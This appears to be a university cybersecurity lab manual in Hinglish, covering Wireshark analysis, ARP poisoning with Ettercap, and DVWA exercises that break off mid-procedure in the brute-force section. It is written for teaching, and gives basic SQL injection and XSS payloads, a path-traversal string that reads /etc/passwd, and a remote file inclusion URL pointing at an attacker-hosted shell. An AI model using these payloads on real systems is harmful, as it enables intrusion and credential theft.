BCS453 - Cyber Security Workshop

List of Experiments (Indicative & Not Limited To)

Module 1: Packet Analysis Using Wireshark

1. **Basic Packet Inspection**
    - Capture network traffic with Wireshark.
    - Analyze basic protocols (HTTP, DNS, SMTP) to understand data transmission and reception.
2. **Detecting Suspicious Activity**
    - Examine network traffic for suspicious patterns.
    - Identify repeated connections or unusual host communications.
3. **Malware Traffic Analysis**
    - Analyze captured packets for signs of malware.
    - Detect command-and-control (C2) traffic and data exfiltration attempts.
4. **Password Sniffing**
    - Simulate plaintext password transmission.
    - Use Wireshark to capture and examine packets, highlighting vulnerability and the need for encryption.
5. **ARP Poisoning Attack**
    - Initiate ARP poisoning using tools like Ettercap.
    - Capture and analyze packets to understand Man-in-the-Middle attack mechanisms.

Module 2: Web Application Security Using DVWA

1. **SQL Injection**
    - Practice SQL injection attacks on DVWA.
    - Demonstrate extraction, modification, or deletion of database information via manipulated input fields.

2. **Cross-Site Scripting (XSS)**
    - Exploit XSS vulnerabilities in DVWA.
    - Inject malicious scripts, showcasing impacts like cookie theft or web page defacement.
3. **Cross-Site Request Forgery (CSRF)**
    - Set up CSRF attacks in DVWA.
    - Demonstrate how attackers can force authenticated users into unintended actions.
4. **File Inclusion Vulnerabilities**
    - Explore both Remote File Inclusion (RFI) and Local File Inclusion (LFI) in DVWA.
    - Show how attackers could include and execute malicious files.
5. **Brute-Force and Dictionary Attacks**
    - Simulate login attacks on DVWA.
    - Demonstrate brute-force and dictionary techniques, stressing the importance of strong password policies and protections.

These experiments will provide both practical insights into threat detection and hands-on exposure to ethical hacking techniques, reinforcing the critical need for network and web application security in real-world scenarios.

Experiment 1: Basic Packet Inspection Using Wireshark

(Module 1: Packet Analysis)

What is Wireshark?

Wireshark ek popular network protocol analyzer tool hai. Isse hum network pe chal rahe data packets ko capture aur analyze kar sakte hain.

Objective:

- Network traffic ko capture karna.
- Basic protocols jaise HTTP, DNS, SMTP ko samajhna ki data kaise transmit aur receive hota hai.

Keywords to remember:

- **Packet**: Chhota data ka hissa jo network mein travel karta hai.
- **Protocol**: Rules jinke through devices ek doosre se communicate karte hain. Jaise HTTP, DNS, SMTP.
- **Capture**: Network se data packets ko collect karna.
- **Analyze**: Collected packets ko dekh kar unka matlab samajhna.

Step-by-step Procedure:

1. **Wireshark Install Karna:**
   Wireshark apne computer pe install karo. Ye free tool hai.
2. **Interface Select Karna:**
   Jab Wireshark start hota hai, use apni network interface (Wi-Fi ya Ethernet) select karo jahan se network data aayega.
3. **Start Capture:**
   Start capture button press karo, ab Wireshark aapke network ke har packet ko capture karta rahega.
4. **Network Activity Perform Karna:**
   Apne browser se kuch websites visit karo (e.g., google.com), email send karo, ya koi DNS lookup karo.
5. **Packets Ko Filter Karna:**
   Packet list bahut badi hogi, to filters lagao jaise:
   - `http` (web traffic ke liye)
   - `dns` (domain name requests ke liye)
   - `smtp` (email traffic ke liye)
6. **Packet Details Analyze Karna:**
   Har packet pe click karo, aur dekho:
   - Source (sender) & Destination (receiver) IP address
   - Protocol Type
   - Data contents (headers and sometimes payload)

Real-World Example:

- Jab aap google.com type karte ho, aapka computer **DNS request** bhejta hai ki "Google ka IP address kya hai?"
- DNS server reply bhejta hai jisme Google ka IP hota hai.
- Ab wo IP address use karke aapka browser HTTP request send karta hai.
- Wireshark me yeh request and reply packets clearly dikhai denge.

Practical Tips for Writeup:

- Write down the **purpose** of packet inspection clearly.
- Mention **what you captured** and which protocol you analyzed (e.g., HTTP, DNS).
- Include **screenshots** of Wireshark with highlighted packets and filters used.
- Clearly explain **source and destination IPs** and **packet contents**.
- Add a **real-world scenario** (like website browsing or email sending).
- Use keywords like **capture, filter, protocol, source IP, destination IP**.
- Discuss briefly how this helps in understanding network communication.

Tips for Viva (To score more marks):

- Define what a **packet** is and explain why packet capture is important.
- Name the protocols you saw in Wireshark and explain simply what they do (HTTP for websites, DNS for domain lookups, SMTP for email).
- Describe how filtering helps in focusing on specific data.
- Be ready to explain the role of **source and destination IP** in communication.
- Mention the importance of this experiment in real-world cyber security, like detecting suspicious traffic.
- You can say: "Wireshark network ki language samajhne me madad karta hai, jisse hum network problems aur attacks ko identify kar sakte hain."

Experiment 2: Detecting Suspicious Activity Using Wireshark

(Module 1: Packet Analysis)

What is Suspicious Activity?

Suspicious activity matlab aise network traffic jo normal nahi lagta, ho sakta hai kisi attack ya hack ka sign ho. Jaise baar-baar ek hi IP se connection requests aana, unusual communication, ya unknown protocols ka use.

Objective:

- Network traffic ko capture karna.
- Suspicious patterns ko identify karna, jise hum cyber attack samajh sakte hain.
- Samajhna ki kaise attackers network me ghus sakte hain ya data chura sakte hain.

Important Keywords to Remember:

- **Suspicious Traffic:** Unusual or abnormal network data packets.
- **Repeated Connections:** Same source IP baar-baar connect karna.
- **Unusual Protocol:** Protocols ya ports jo normal traffic me nahi hote.
- **Packet Filter:** Wireshark me packets ko select karne ka tariqa for better analysis.
- **Source IP / Destination IP:** Data bhejne wala aur lene wala device address.
- **Port Number:** Network ka specific entry point, services ke liye.
- **Anomaly Detection:** Normal se alag behavior ko pehchanna.

Step-by-step Procedure:

1. **Wireshark Open Karo and Network Interface Choose Karo:**
   Apne system ka network interface select karo jahan se traffic capture karna hai.

2. **Start Packet Capture:**
   Start capture button dabao. Ye har network packet ko capture karega.

3. **Simulate Normal and Suspicious Activity:**
   Kuch normal websites visit karo jaise google.com, aur uske sath kuch aise activity perform karo jo suspicious ho sakti hai:

   - Ek IP se baar-baar ping ya connection requests karna

- Unknown ya non-standard ports pe communication try karna

4. **Apply Filters in Wireshark:**
   Suspicious traffic dhoondhne ke liye filters lagao jaise:
   - `ip.src == x.x.x.x` (Ek specific source IP ka traffic dekhne ke liye)
   - `tcp.flags.syn == 1 and tcp.flags.ack == 0` (Connection initiation ke packets ko identify karne ke liye)
   - `tcp.port == <unusual_port>` (Unusual ports pe traffic analyze karne ke liye)
5. **Analyze Patterns:**
   Observe karo:
   - Koi IP repeatedly connect kar raha hai?
   - Kya kuch unusual port numbers use horhe hain?
   - Kya data bahut zyada send/receive horha hai normal se?
   - Kya multiple connection attempts fail ho rahe hain?
6. **Identify Suspicious Behavior:**
   Repeated connection attempts, unknown protocols ya ports, aur irregular timing se pata lagta hai ki network me suspicious activity ho sakti hai.

Real-World Example:

Suppose ek attacker kisi company network me brute force kar raha hai, matlab baar-baar login attempt kar raha hai. Wireshark me aap dekhenge ek IP address se packets baar-baar aate hai, destination port 22 (SSH) ya 80 (HTTP) pe repeated connection attempts hote hain, ya TCP SYN packets continuously bheje ja rahe hain bina proper response ke. Ye sab indicate karte hain ki kisi ne network pe attack karne ki koshish ki hai.

Practical Tips for Writeup:

- Start with **experiment ka objective** clearly likho (Detect suspicious network activity).
- Mention **tools used** (Wireshark).
- Describe **process**: capture the traffic, apply filters, observe patterns.
- Use **screenshots** with highlighted suspicious packets.
- Explain filters applied and why.

- Detail the **suspicious patterns found** (e.g., repeated connections, unusual ports).
- Mention the **importance** of detecting suspicious activity in real networks.

Tips for Viva (To Score More Marks):

- Define **suspicious activity** in network traffic.
- Explain how repeated connection attempts or unknown ports indicate possible attacks.
- Describe the use of **filters** in Wireshark and why they are helpful.
- Talk about how identifying suspicious traffic helps network administrators prevent attacks.
- Give the example of **brute force attacks or port scanning** as suspicious activities.
- Mention how this experiment helps you understand real-life cyber security monitoring.

You can say something like:
"Wireshark me suspicious packets identify karna real-world me networks ko safe rakne me madad karta hai. Isse hum attackers ke kuch actions ko pehchan kar unhe rok sakte hain."

Experiment 3: Malware Traffic Analysis Using Wireshark

(Module 1: Packet Analysis)

What is Malware Traffic Analysis?

Malware traffic analysis ka matlab hai network mein aaye hue suspicious packets ko identify karna jo kisi malware (virus, trojan, ransomware, etc.) ke communication signals ho sakte hain. Malware aksar apne command-and-control (C2) server se connect karta hai ya sensitive data chura ke bhejta hai.

Objective:

- Network traffic capture karna
- Malware-related packets identify karna
- Malware ke communication patterns ko samajhna
- Real world me malware detection kaise hoti hai ye seekhna

Important Keywords to Remember:

- **Malware:** Malicious software jo computer systems ko damage ya control karta hai.
- **Command-and-Control (C2) Server:** Malware jo control karta hai uska remote server.
- **Data Exfiltration:** Sensitive data chura ke bahar bhejna.
- **Suspicious Traffic:** Aisa network traffic jo normal user ke traffic se alag ho.
- **Payload:** Packet ke andar jo asli data hota hai.
- **IP Address:** Malware ya victim ka network address.
- **Port Number:** Communication ke liye use hone wala network entry point.

Step-by-Step Procedure:

1. **Start Wireshark and Begin Capture:**
   Wireshark open karo aur apni network interface select karke packet capture start karo.

2. **Perform/Simulate Malware Traffic (If Possible):**
   Agar lab setup mein malware samples ya simulated malware traffic available hai, to use run karo. Warna public PC par fake suspicious traffic generate karo, jaise abnormal external server se connection try karna.

3. **Apply Filters to Detect Suspicious Packets:**
   Filters use karo jaise:

   - `ip.addr == <suspected_ip>` (Known bad IPs ko check karne ke liye)
   - `tcp.port == 4444` (C2 communication ke liye popular port)
   - `http contains "malicious"` (HTTP packets me suspicious keywords)
   - `frame contains <signature>` (Malware signatures ke liye)

4. **Analyze Packet Details:**
   Har suspicious packet pe click karo:

   - Source aur Destination IP check karo.
   - Payload me koi unusual data hai kya?
   - Kya bahar jane wala data sensitive lag raha hai?
   - Kya repeated communication ho raha hai ek unknown server ke sath?

5. **Identify Patterns:**
   Malware traffic aksar chhup ke, repetitive, encrypted, ya abnormal ports me hota hai. In packets ko identify karna key hai to detect infection.

Real-World Example:

Suppose a company network mein ek employee ka system malware se infected ho gaya. Malware apne C2 server se connect karne ki koshish karta hai IP `192.168.1.100` se external IP `203.0.113.5` par port 4444 ke through. Wireshark me ye repeated connections aur unusual port usage dikhayi degi. Agar attacker data exfiltration kar raha hai to aapko large data packets suspicious destination pe bhejte hue dikh sakte hain.

Practical Tips for Writeup:

- Clearly likho **objective** (Malware traffic identify karna).
- Mention tools used: **Wireshark** and filtering techniques.
- Describe **how you captured packets** and filters applied.
- Include **screenshots** showing suspicious packets.
- Explain specific **packet details**: source/destination IPs, ports, payload info.
- Add a **real-world scenario** of malware communication.
- Use keywords like **Malware, C2 Server, Data Exfiltration, Suspicious Traffic, Payload**.
- Summarize why malware traffic analysis is important in cyber security.

Tips for Viva (To Score More Marks):

- Define **malware** and why malware traffic analysis is necessary.
- Explain what a **Command-and-Control server** is.
- Describe packet fields you checked: IPs, ports, payload.
- Talk about **patterns** like repeated connections, unusual ports, encrypted data in malware traffic.
- Explain how Wireshark helps in identifying signs of malware infection.
- Give example like:
  "Malware apne operator se connect hone ke liye network traffic generate karta hai, jise Wireshark se trap karke identify kiya ja sakta hai."

- Mention real-life impact: malware attack rokna ya data leakage avoid karna.

Experiment 4: Password Sniffing Using Wireshark

(Module 1: Packet Analysis)

What is Password Sniffing?

Password sniffing matlab jab koi attacker ya hacker network traffic capture karta hai aur usme se passwords ya sensitive information nikalta hai — especially jab woh data **plaintext** (encrypt nahi hua) hota hai. Is experiment me hum dekhte hain ki agar password plaintext me transmit ho raha hai, to usse kaise capture aur analyze kar sakte hain using Wireshark.

Objective:

- Network traffic ko capture karna using Wireshark.
- Plaintext me transmit ho rahe passwords ko identify karna.
- Password sniffing ka risk samajhna aur encryption ki importance ko highlight karna.

Important Keywords to Remember:

- **Password Sniffing:** Network pe chal rahe data me se passwords capture karna.
- **Plaintext:** Encrypt nahi kiya gaya readable data.
- **Encryption:** Data ko secure banane ke liye uska format badal dena.
- **Packet Capture:** Network se data packets ko collect karna.
- **Filter:** Wireshark me specific packets ko select karna jaise `http` ya `ftp`.
- **Credentials:** Login information (Username & Password).
- **TCP Stream:** Single communication session ke packets ka group.

Step-by-Step Procedure:

1. **Setup Your Test Environment:**
   Ek aisa network ya VM environment create karo jahan aap plain HTTP ya FTP use karke login kar pao.

2. **Start Wireshark and Capture Packets:**
   Wireshark open karo, apne network interface select karo aur packet capture start karo.

3. **Perform Login Using Plain Protocol:**
   Browser me ek insecure HTTP website (jo form data plain send karti ho) pe login karo, ya FTP client se login karo jahan credentials plaintext me chalein.

4. **Apply Filter in Wireshark:**
   Filter lagao, for example:

   - `http` (to see HTTP traffic)
   - `ftp` (if using FTP protocol)
   - `tcp.port == 21` (FTP ke liye)
   - `tcp contains "password"` ya `http contains "login"` (to find credentials)

5. **Analyze Captured Packets:**

   - Packets select karo jinme login ya form data ho.
   - TCP stream open karo (Right-click on packet > Follow > TCP Stream).
   - Dekho kya username aur password plaintext me visible hai.

6. **Identify the Security Risk:**
   Jab passwords plaintext me dikhai dete hain, iska matlab hai attacker easily data sniff kar sakta hai. Isliye **encryption** jaise HTTPS (SSL/TLS) use karna zaroori hai.

Real-World Example:

Imagine karo aap public Wi-Fi pe ho aur kisi website pe login kar rahe ho, jo HTTPS use nahi karti aur password plaintext me send hota hai. Hacker jo same Wi-Fi network pe hai, wo Wireshark ya kisi sniffing tool se aapka username-password capture kar sakta hai. Yeh data aapko pata bhi nahi chalega, aur aapka account compromised ho sakta hai.

Practical Tips for Writeup:

- Start with **objective** – kyun password sniffing important hai.
- Mention **tools** – Wireshark and the protocol used (HTTP/FTP).
- Describe **how you captured traffic** and explain the filters used.

- Add **screenshots** showing packets with visible usernames and passwords.
- Explain step-by-step packet analysis using TCP stream for credentials.
- Emphasize **importance of encryption** to secure passwords.
- Use keywords bold kar ke highlight karo: Password Sniffing, plaintext, encryption, TCP stream, capture, filter, credentials.

Tips for Viva (To Score More Marks):

- Define **password sniffing** clearly.
- Explain ki kyun plaintext password risky hota hai aur encryption iska solution hai.
- Describe how Wireshark helps in capturing and analyzing packets.
- Talk about filters use karne and TCP stream ka matlab.
- Share real-life example of insecure Wi-Fi networks ya websites.
- Mention how strong security protocols like HTTPS prevent this attack.
- You can say:
  "Password sniffing se attacker easily sensitive login details chura sakta hai agar data encrypt nahi hota. Wireshark use karke hum yeh pakad sakte hain aur security improve kar sakte hain."

Experiment 5: ARP Poisoning Attack Using Wireshark

(Module 1: Packet Analysis)

What is ARP and ARP Poisoning?

- **ARP (Address Resolution Protocol)** ek network protocol hai jo IP address ko uske corresponding MAC address me translate karta hai, taki devices local network me ek dusre se communicate kar saken.
- **ARP Poisoning** (ya ARP Spoofing) ek attack hota hai jisme attacker fake ARP messages bhej ke victim ke computer ko galat MAC address batata hai, isse attacker apne device ko victim aur router ke beech Man-in-the-Middle (MitM) position me la leta hai.

Objective:

- ARP poisoning attack ko set up karna using tools like Ettercap.

- Wireshark se ARP packets capture karna aur analyze karna.
- Samajhna ki kaise attacker network communication intercept ya manipulate karta hai with ARP spoofing.
- Learn effects of MitM attacks on network security.

Important Keywords to Remember:

- **ARP (Address Resolution Protocol):** IP to MAC address mapping protocol.
- **MAC Address:** Physical address of a device in LAN.
- **ARP Poisoning:** Attacker fake ARP replies bhej ke MAC-IP mapping ko badal deta hai.
- **Man-in-the-Middle (MitM):** Attack jisme attacker dono communicating parties ke beech aata hai.
- **Spoofing:** Apna identity fake karna.
- **Packet Capture:** Network packets record karna Wireshark se.
- **Ettercap:** Tool commonly used for ARP poisoning attacks.
- **Network Interception:** Data ko secretly capture karna.

Step-by-Step Procedure:

1. **Setup Lab Environment:**
   Apni virtual lab me 2 ya zyada systems ya virtual machines rakhkar same LAN pe connected ho.
2. **Start Wireshark:**
   Wireshark open karo aur apni network interface select karke capture start karo.
3. **Launch Ettercap or Similar Tool:**
   Ettercap install karo, jo ARP poisoning attacks easily perform karta hai.
4. **Execute ARP Poisoning Attack:**
   - Target machine (victim) ka IP address select karo.
   - Router (gateway) ka IP select karo.
   - Ettercap se attacker apne MAC address ko victim aur router ke MAC address ke jagah send karna start karega.
   - Isse dono victim aur router samjhenge ki attacker hi dusra end point hai.

5. **Observe ARP Packets in Wireshark:**
    - Filter apply karo: `arp`
    - Aapko dekhega ki multiple ARP reply packets aa rahe hain jisme attacker ka MAC address victim ko diya ja raha hai.
    - ARP table changes hone lagenge victim aur router ke systems me (verified outside Wireshark).
6. **Analyze Impact:**
    - Ab attacker network ke beech ka saara traffic intercept ya modify kar sakta hai.
    - Sensitive data jaise passwords, emails sniff kiye ja sakte hain.
    - Attack se network slow ho sakta hai ya lose packets bhi ho sakte hain.

Real-World Example:

Office network me ek attacker Wi-Fi se connect hokar ARP poisoning karta hai. Usse pata chal jata hai ki jo bhi employee internet use kar raha hai, uska username-password ya private files kaise capture karna hai. Attacker, victim aur router ke beech aa ke data ko read ya modify kar sakta hai bina kisi ko pata chale.

Practical Tips for Writeup:

- Start by writing **objective** clearly: ARP poisoning attack simulate karna aur packet analyze karna.
- Mention tools: **Wireshark** and **Ettercap**.
- Describe step-by-step attack execution, packet capture, and analysis.
- Include **Wireshark screenshots** showing ARP reply packets with attacker MAC.
- Explain ARP protocol briefly and how poisoning changes ARP cache.
- Discuss effects of MitM attack such as data interception and security risk.
- Use keywords: **ARP, MAC address, poisoning, spoofing, Man-in-the-Middle, packet capture, Ettercap**.
- Summarize why ARP poisoning is dangerous and how network admins can detect it (by checking unusual ARP packets).

Tips for Viva (To Score More Marks):

- Define **ARP** and why it is important in LAN communication.

- Explain what **ARP poisoning** attack means and how it works.
- Talk about role of **MAC address** and ARP table in this attack.
- Describe how attacker uses tools like Ettercap to spoof MAC addresses.
- Explain how Wireshark helps capture ARP packets and detect poisoning.
- Describe what is **Man-in-the-Middle attack** and its risks.
- Mention some **real-life consequences** like data theft and session hijacking.
- You can say:
  "ARP Poisoning attack me attacker apne MAC address ko victim aur router ke beech replace kar deta hai jisse wo network traffic ko intercept kar sakta hai. Wireshark me arp filter laga kar hum is attack ko analyze kar sakte hain."

Experiment 1: SQL Injection Using DVWA

(Module 2: Web Application Security)

What is SQL Injection?

SQL Injection ek common web application vulnerability hai jisme attacker malicious SQL queries inject karta hai web form ya URL ke through, taaki wo database se sensitive data nikal sake, data modify kar sake, ya database ko damage kar sake.

Objective:

- DVWA (Damn Vulnerable Web Application) me SQL Injection vulnerability ko exploit karna.
- Samajhna ki input fields me malicious SQL code bhej kar database kaise manipulate hota hai.
- Web security ke important concepts seekhna aur SQL Injection se bachne ke tareeke samajhna.

Important Keywords to Remember:

- **SQL (Structured Query Language):** Database se data access aur manipulate karne ki language.
- **Injection:** Malicious code insert karna.
- **Malicious Input:** Attack ke liye specially crafted input jo system ko manipulate kare.
- **DVWA:** Ek vulnerable web app jahan security testing hoti hai.

- **Authentication Bypass:** SQL Injection se illegal login ya access lena.
- **Data Extraction:** Database se sensitive information nikalna.
- **Payload:** Malicious SQL command jo input me diya jata hai.
- **Sanitization / Validation:** Input ko clean karna taaki injection na ho.

Step-by-Step Procedure:

1. **Setup DVWA Environment:**
   DVWA ko apne system ya virtual machine pe install karo, jo easy safaf aur free tool hai learning ke liye.

2. **Login to DVWA:**
   Apna username aur password dal ke DVWA me login karo.

3. **Select Security Level:**
   DVWA me security level low par set karo takki SQL Injection easily test ho sake.

4. **Navigate to SQL Injection Page:**
   DVWA ke menu me “SQL Injection” option pe click karo.

5. **Identify Input Form:**
   Wahan ek input form milega jahan aap username ya id de sakte ho, jo behind scenes SQL query ke through database se data retrieve karta hai.

6. **Perform Basic Injection:**
   Input field me normal value dene ke alawa kuch aise input do jo malicious SQL query banaye:
   - Example: `' OR '1'='1`
   - Is input ka matlab hai “OR 1=1” jo hamesha true rahega aur attacker ko sab data dekhne ka mauka milega.

7. **Observe Results:**
   Jab above input dete ho, to database sab records show karta hai jo ek vulnerability ko prove karta hai.

8. **Try Data Extraction / Authentication Bypass:**
   More complex payloads use kar ke database se passwords ya user details nikal sakte ho, ya bina correct username/password login kar sakte ho.

9. **Note Down Queries and Exploit Results:**
   Jo queries use ki aur kya output mila, uska screenshot lo ya note karo.

Real-World Example:

Suppose ek online banking website ka login form user input ko sanitize nahi karta. Wahan agar login box me attacker ye input deta hai: `' OR '1'='1`, to wo login bypass ho sakta hai aur attacker system me unauthorized access paa sakta hai. Isse attacker sensitive financial data chura sakta hai ya fraudulent transactions kar sakta hai.

Why Is This Important?

SQL Injection se bahut bada security risk hota hai jisme attackers poore database ko control kar sakte hain. Isliye web developers ko input validation aur prepared statements jaise techniques use karni chahiye.

Practical Tips for Writeup:

- Start with **objective**: Explain SQL Injection kya hai aur DVWA me is experiment ka maksad kya hai.
- Mention **tool**: DVWA web application, browser, etc.
- Clearly describe **steps** with inputs given and outputs seen.
- Use **screenshots** of DVWA pages showing the injection inputs and resulting data.
- Highlight key terms like **SQL Injection, payload, bypass, sanitization, validation**.
- Explain the **security risks** of SQL Injection in real applications.
- Write a small section on how to **prevent** SQL Injection (parameterized queries, input sanitization).

Tips for Viva (To Score More Marks):

- Define **SQL Injection** clearly.
- Explain how input fields can be exploited without proper sanitation.
- Describe the role of SQL queries behind web forms.
- Give example of simple injection like `' OR '1'='1` and explain how it works.
- Discuss real-world implications of SQL Injection attacks.
- Mention methods to prevent SQL Injection, like prepared statements and input validation.

- You can say:
  "SQL Injection me attacker malicious SQL code web application ke input fields me dalta hai taaki database access kar sake. DVWA use karke hum is vulnerability ko seekhte hain aur apni skills improve karte hain."

Experiment 2: Cross-Site Scripting (XSS) Using DVWA

(Module 2: Web Application Security)

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting ya **XSS** ek web security vulnerability hai jisme attacker ek web page me malicious JavaScript ya koi harmful script inject karta hai. Jab koi user wo page open karta hai, to script uske browser me run hoti hai aur attacker ko data churaane ya site ka behavior change karne ka moka milta hai.

Objective:

- DVWA me XSS vulnerability exploit karna.
- Samajhna ki kaise attacker malicious scripts inject kar ke users ke cookies, sessions ya sensitive info chura sakta hai.
- Web application security ke concepts seekhna aur XSS se bachav ke tarike samajhna.

Important Keywords to Remember:

- **XSS (Cross-Site Scripting):** JavaScript ya script injection attack.
- **Malicious Script:** Hacker ke dwara likha gaya harmful code.
- **Cookies:** User ke session aur authentication info jo browser me store hoti hai.
- **DOM (Document Object Model):** Web page ka structure jahaan scripts interact karte hain.
- **Payload:** Attack ke liye injeccted malicious code.
- **Reflected XSS:** Attack jo server se turant user ko reflect hota hai.
- **Stored XSS:** Attack jo database ya server me store ho jata hai aur baar-baar run hota hai.
- **Sanitization / Validation:** Input ko clean karna taaki harmful script execute na ho.

Step-by-Step Procedure:

1. **Setup DVWA and Login:**
   DVWA ko apne system/VM pe open karo aur login karo.

2. **Set Security Level to Low:**
   DVWA ke Security tab me Low select karo takki vulnerabilities easily visible ho.

3. **Navigate to XSS Module:**
   DVWA ke menu se "Cross Site Scripting (XSS)" option ko choose karo.

4. **Enter Malicious Script:**
   Input box me simple malicious script likho, jaise:

   ```
   <script>alert('XSS Attack!');</script>
   ```

   Ya cookie churaane wala script bhi try kar sakte ho.

5. **Submit the Input:**
   Form submit karo. Agar DVWA vulnerable hai, to alert box browser me show hoga, matlab script successfully inject aur execute ho chuka hai.

6. **Analyze Impact:**
   Samjho ki agar attacker aise script inject kare, to wo user ke cookies chura sakta hai, site content badal sakta hai, ya user ko redirect kar sakta hai malicious sites par.

7. **Try Stored XSS:**
   Kuch forms me input submit kar ke wo server me save ho jata hai, jis se jab bhi page khola jata hai, attack automatically run hota hai.

8. **Note Screenshots:**
   Jo payload dala aur kya output mila, consider screenshots.

Real-World Example:

Suppose ek social media site me koi user apni profile me `<script>` wala code dal deta hai. Jab dusre users us profile ko visit karte hain, to attacker ka script unke browsers me run hota hai aur wo unke cookies chura leta hai, jisse wo unke accounts hijack kar sakta hai. Yeh typical XSS attack ka example hai.

Why Is This Important?

XSS attacks se attackers user ke data pe full control le sakte hain, site ko damage kar sakte hain, aur phishing attacks kar sakte hain. Developers ko input sanitization aur content security policies lagani chahiye.

Practical Tips for Writeup:

- Start with **Objective:** Explain XSS kya hai aur DVWA me iska practical kaise kiya jayega.
- Mention **Tools:** DVWA, browser, and payload scripts.
- Describe **Steps clearly:** Login, set security to low, inject script, analyze result.
- Use **Screenshots** of input form and alert boxes to support your explanation.
- Write about **types of XSS (Reflected and Stored)** briefly.
- Use important keywords in bold: **XSS, malicious script, cookies, payload, sanitization, reflected/stored XSS**.
- Explain real-world impacts of XSS and why prevention is critical.

Tips for Viva (To Score More Marks):

- Define **XSS** in simple words.
- Explain difference between **Reflected XSS** and **Stored XSS**.
- Describe how attacker injects malicious JavaScript code.
- Talk about effects like cookie theft, session hijacking, site defacement.
- Explain why **input validation and sanitization** are important defenses.
- Mention how browsers execute scripts and how attackers exploit this behavior.
- You can say:
  "XSS attack me attacker website ke input ke through apna malicious code inject karta hai, jo doosre users ke browsers me execute hota hai aur sensitive data like cookies chura leta hai."
- Give example of alert box payload (`<script>alert('XSS')</script>`) as simplest proof of vulnerability.

Experiment 3: File Inclusion Vulnerabilities Using DVWA

(Module 2: Web Application Security)

What is File Inclusion Vulnerability?

File Inclusion vulnerability ek web application me aisa bug hota hai jahan attacker kisi server-side file ko web page me include karne ke liye manipulate kar sakta hai. Ye vulnerability do tarah ki hoti hain:

- **Local File Inclusion (LFI):** Server ke local files ko include karna.
- **Remote File Inclusion (RFI):** Remote internet se malicious files ko include karna.

Objective:

- DVWA me Local/Remote File Inclusion vulnerabilities ko samajhna aur exploit karna.
- Dikhaana ki kaise attacker arbitrary files ko include karke sensitive information read kar sakta hai ya remote code execute kar sakta hai.
- Web application security issues ko samajhna aur prevention seekhna.

Important Keywords to Remember:

- **File Inclusion:** Web application me kisi file ko load karna.
- **LFI (Local File Inclusion):** Server ki local files load karna.
- **RFI (Remote File Inclusion):** Internet se malicious file include karna.
- **Path Traversal:** File path me "../" jese sequences se directory traversal karna.
- **Payload:** Malicious code jo attacker server pe inject karta hai.
- **Sensitive Files:** Jaise `/etc/passwd` in Linux jo user info rakhta hai.
- **Input Validation:** User inputs ko sanitize karna taaki attacker attack na kar sake.

Step-by-Step Procedure:

1. **Access DVWA:**
   DVWA web app open karo aur login karo.
2. **Set Security Level:**
   Security level ko low pe set karo taaki vulnerability easily test kar sako.
3. **Navigate to File Inclusion Page:**
   DVWA menu se “File Inclusion” module ko choose karo.

4. **Check URL Parameter:**
   URL me ek parameter hota hai (jaise `page=`) jahan file name diya jata hai.

5. **Try Local File Inclusion (LFI):**
   Input me server ki local files ka path type karo, jaise:

   ```
   ../../../../etc/passwd
   ```

   (ye Linux server ke sensitive user info wala file hai)

6. **Observe the Result:**
   Dikhega ki server wo file read karke webpage pe show kar raha hai, jo vulnerability prove karta hai.

7. **Try Remote File Inclusion (RFI):**
   Agar DVWA me setup ho, to remote URL dal ke try karo jahan aapne malicious PHP file host kiya ho.
   Example:

   ```
   http://attacker.com/shell.php
   ```

   Agar vulnerable hai to attacker ka code server pe execute ho jayega.

8. **Analyze Impact:**
   Attacker sensitive information le sakta hai, remote code execute kar sakta hai, aur system compromise kar sakta hai.

Real-World Example:

Maan lijiye ek website file inclusion vulnerability rakhti hai. Attacker `page=../../../../etc/passwd` jese input dekar server ke local user info file access kar leta hai. Ya fir attacker apne malicious PHP shell ko internet pe host karke remote file include kar leta hai jo server pe code execution ka mauka deta hai.

Practical Tips for Writeup:

- Start with **objective** clearly, jisme file inclusion explain karo.
- Describe **tools used** (DVWA, browser).
- Explain **stepwise procedure** with typical payloads (`../../../../etc/passwd`, remote URL).
- Use **screenshots** of DVWA page showing included file content.
- Highlight keywords like **File Inclusion, LFI, RFI, Path Traversal, payload, input validation**.

- Mention **impacts** of vulnerabilities and how attackers misuse them.
- Add a small note on **prevention** like proper input validation, whitelist approach.

Tips for Viva (To Score More Marks):

- Define **File Inclusion vulnerability** in simple words.
- Explain difference between **Local** and **Remote File Inclusion**.
- Describe how **path traversal (../)** helps attacker in LFI.
- Talk about how attacker can **read sensitive files** or **run malicious code**.
- Explain why **input validation/sanitization** is critical to prevent these attacks.
- Give real-world scenario example of how attackers exploit these.
- You can say:
  "File Inclusion vulnerability web application me attacker ko server ki local ya remote files access karne ya malicious code run karne ka mauka deti hai. Isko DVWA me practice kar ke hum samajhte hain ki attack kaise hota hai aur kaise secure kar sakte hain."

Experiment 4: Brute-Force and Dictionary Attacks Using DVWA

(Module 2: Web Application Security)

What is Brute-Force and Dictionary Attack?

- **Brute-Force Attack:** Ye ek technique hai jisme attacker systematically saare possible passwords ko try karta hai jab tak sahi password nahi mil jaata. Matlab har possible combination ko try karna.
- **Dictionary Attack:** Ye bhi password guessing attack hai, lekin isme attacker ek pre-defined wordlist (dictionary) use karta hai. Common words, passwords, ya phrases sequentially try karta hai.

Objective:

- DVWA ki login page pe brute-force aur dictionary attacks simulate karna.
- Samajhna ki weak passwords kitne asani se cracked ho sakte hain.
- Strong password policies ki importance ko samajhna.

Important Keywords to Remember:

- **Brute-Force Attack:** Har possible password try karna.
- **Dictionary Attack:** Predefined list-based password guessing.
- **Wordlist:** Password guess karne ke liye banaya gaya shabd list.
- **DVWA:** Vulnerable web application practice ke liye.
- **Login Page:** Web page jahan user authentication hoti hai.
- **Password Policy:** Rules jo strong passwords banane ke liye lagate hain.
- **Lockout Mechanism:** Failed attempts pe account temporarily block karna.
- **Tools:** Hydra, Burp Suite, OWASP ZAP (popular tools for these attacks).

Step-by-Step Procedure:

1. **Setup DVWA and Login:**
   DVWA open karo, aur ensure karo ki security level “Low” ya “Medium” pe ho jisse brute-force attack possible ho.

2. **Navigate to Brute Force Page:**
   DVWA menu me “Brute Force” module pe click karo.

3. **Observe the Login Form:**
   Yahan ek simple login form hoga jisme username aur password fields hongi.

4. **Prepare Your Attack Tool:**
   Kisi brute-force tool ya script ka use karo jaise **Hydra**, ya manually try kar sakte ho.

5. **Configure the Attack:**
   - Target URL set karo (Login page ka URL).
   - Username specify karo ya multiple usernames try karo.
   - Password wordlist specify karo (dictionary file jisme common passwords hoti hain).

6. **Start Attack:**
   Attack launch karo, tool automatically passwords try karta jayega.

7. **Analyze the Results:**
